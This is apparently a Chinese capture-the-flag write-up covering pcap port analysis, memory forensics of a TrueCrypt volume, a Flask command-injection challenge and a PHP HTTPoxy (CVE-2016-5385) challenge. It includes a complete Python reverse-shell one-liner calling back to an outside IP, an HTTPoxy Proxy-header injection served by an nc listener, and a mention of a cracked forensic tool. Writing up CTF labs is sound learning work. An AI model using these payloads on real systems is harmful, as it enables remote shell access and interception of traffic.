misc拉胯的三条命令
打开后有个说明txt,说扫描端口查看开的端口,那直接看tcp握手有没有成功就可以了.
直接看ack和syn包有没有同时存在,最后有21,22, 631,801,3306开放,按顺序提交就可以了.
(kali的wireshark有着色规则,一片红里面找白就可以了)
misc内存取证
打开后直接上volatility,先看进程有ie,有mspaint,有truecrypt.
先看iehistory,可以找到有个网盘地址:https://pan.baidu.com/share/init?surl=jAVwrRzIgW1QsLHidtzY_w.
mspaint复原之后是一串字符串:lYxfCQ6goYBD6Q (这个字符串 到底是 1,l,I也不知道… 69o? 6g0? 6go?)
把notepad进程dump下来过滤字符串txt可以看到有网盘提取码:heem.
把百度网盘下载的VOL利用TrueCrypt进程的内存dump用Elcomsoft Forensic Disk Decryptor工具(吾爱有破解版)解密VOL再挂载得到key.key:uOjFdKu1jsbWI8N51jsbWI8N5.
尝试了异或,维吉尼亚等有密钥的加解密.
后来才知道要用key再解一次密,得到一个压缩包,然后掩码攻击得到flag.
webCheckIN
打开靶机,发现是如下一个页面,直接给了源码。右键查看源码可以看到有换行的,方便查看。
1 | from flask import Flask, request |
然后看看源码,可以看到是个 flask 应用。
前面打开了一个 flag 文件,后面被注释的部分是读这个文件的内容,下面有个被注释的路由是把 flag 显示出来。
然后下面有个不带回显的 shell,在每次执行命令前都会把 flag 文件删除。
那么就首先反弹个 shell 到自己的机器上吧。这里因为是 python 应用就直接用 python 反弹了。
1 | shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.226.228",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
反弹之后可以看见 flag 文件是被删除了,但由于之前程序打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
在 /proc/10/fd/3 下找到了 flag。
webTimeTravel
HTTPoxy漏洞(CVE-2016-5385)
1 | <?php |
这个漏洞的前提之一就是:你的服务跑在PHP的CGI模式下(cgi, php-fpm),看一下phpinfo找到fpm
然后就看一下如何利用吧:
- cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约>定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: >http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为[http://evil.com](http://evil.com),进而窃取数据包>中可能存在的敏感信息。
- PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中.
也就是增加一个Proxy的头,cgi会自动将我们加上HTTP_前缀,正好构成了环境变量中的HTTP_PROXY代理,结合题目就是将请求结果构造成{“success”=>true}会返回flag.
1 | 还是要用到内网服务器,不过这里达服务我一直没弄成功,其实只要构造一个response返回就可以了,参考一位师傅的payload: |
在请求包内添加:Proxy: 172.0.219.177:9999
然后在服务器172.0.219.177上执行:
1 | nc -lvvp 9999 < 1.txt |